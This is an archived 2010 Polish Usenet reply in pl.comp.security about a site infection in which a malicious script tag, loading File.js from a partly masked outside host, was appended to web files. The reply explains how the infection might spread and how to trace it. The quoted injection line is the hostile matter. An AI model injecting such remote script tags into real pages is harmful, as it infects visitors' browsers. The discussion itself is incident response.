Article View: pl.comp.security
Article #64413Re: Kradziez hasel z Total Commandera i infekcja plikow na serwerach FTP
From: Lemat
Date: Thu, 17 Jun 2010 09:48
Date: Thu, 17 Jun 2010 09:48
46 lines
2672 bytes
2672 bytes
latet wrote: > Witam, > > Czy jest możliwe, aby po otwarciu w przeglądarce (lokalnie, z puplipu) > strony www, na której znajduje się złośliwy kod JS typu: > > <script type="text/javascript" > src="http://XXXXXXomestore.com:8080/File.js"></script> > > doszło do tak poważnych wydarzeń jak: > > 1. istalacja w systemie trojana tak, jeżeli przeglądarka jest dziurawa > 4. I wtedy diabeł mnie skusił, aby otworzyć ten plik pod FireFox - > odpaliłem (chciałem zobaczyć czy Kaspersky zareaguje). > > 5. Kaspersky (moduł heuristic) owszem, zareagował! Podniósł alarm, że > wykrył złośliwy kod i że ZOSTAŁ ON > ZABLOKOWANY !!! !!! !!! kod javascript może wczytać inny kod javascript, przeskanujesz pierwszego, ale drugiego już nie > innych, zostało zmodyfikowanych - dopisany do nich został cytowany na > początku kod JS. data modyfikacji pliku - czy była taka, że twój komp był włączony w tym czasie? > Na szczęście w tych godzinach ruch na stronach znikomy, ale pewnie parę > osób się zaraziło, jeżeli mieli dziurawe przeglądarki > nie wiem tylko jak poważnie, czy w taki sam sposób jak > mój komp pierwotnie (przypomnę, że ja odpaliłem plik z kodem JS lokalnie, > a nie z netu - być moze to czyni różnicę?). tak, dla IE robi -- Pozdrawiam Lemat
Technical Details
Message-ID:
<4c19ef4f$0$2591$65785112@news.neostrada.pl>Path:
mbox-mo1.pugleaf.net!news-archive.icm.edu.pl!news.gazeta.pl!newsfeed.pionier.net.pl!news-2.dfn.de!news.dfn.de!news.uni-stuttgart.de!news.belwue.de!news.osn.de!diablo2.news.osn.de!195.114.241.41.MISMATCH!feeder.news-service.com!xlned.com!feeder5.xlned.com!feeder3.cambriumusenet.nl!feed.tweaknews.nl!209.197.12.242.MISMATCH!nx01.iad01.newshosting.com!newshosting.com!newsfeed.neostrada.pl!unt-exc-02.news.neostrada.pl!news.underley.eu.org!moderators!marcinwReferences:
<hvak54$hoi$1@inews.gazeta.pl>Show Full Headers
Complete Article Headers
From: Lemat <#@lemat.priv.pl> Organization: lemat.priv.pl Date: Thu, 17 Jun 2010 11:48:13 +0200 User-Agent: KNode/4.4.2 Subject: Re: Kradziez hasel z Total Commandera i infekcja plikow na serwerach FTP Newsgroups: pl.comp.security References: <hvak54$hoi$1@inews.gazeta.pl> Followup-To: pl.comp.security MIME-Version: 1.0 Lines: 47 Message-ID: <4c19ef4f$0$2591$65785112@news.neostrada.pl> NNTP-Posting-Host: ghostwheel.underley.eu.org X-Trace: 1276768079 unt-rea-a-02.news.neostrada.pl 2591 79.190.106.117:47436 X-Complaints-To: abuse@news.neostrada.pl X-Moder-Tool: ModerGate.pl v3.0 (c) 2008 Daniel Podlejski X-Orig-NNTP-Posting-Host: 79.190.106.117 X-Orig-Newsgroups: pl.comp.security Path: mbox-mo1.pugleaf.net!news-archive.icm.edu.pl!news.gazeta.pl!newsfeed.pionier.net.pl!news-2.dfn.de!news.dfn.de!news.uni-stuttgart.de!news.belwue.de!news.osn.de!diablo2.news.osn.de!195.114.241.41.MISMATCH!feeder.news-service.com!xlned.com!feeder5.xlned.com!feeder3.cambriumusenet.nl!feed.tweaknews.nl!209.197.12.242.MISMATCH!nx01.iad01.newshosting.com!newshosting.com!newsfeed.neostrada.pl!unt-exc-02.news.neostrada.pl!news.underley.eu.org!moderators!marcinw Approved: marcinw.pcs@gmail.com X-Post-Key: 1c78fcc1d5449ea059885b4bddea2868 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit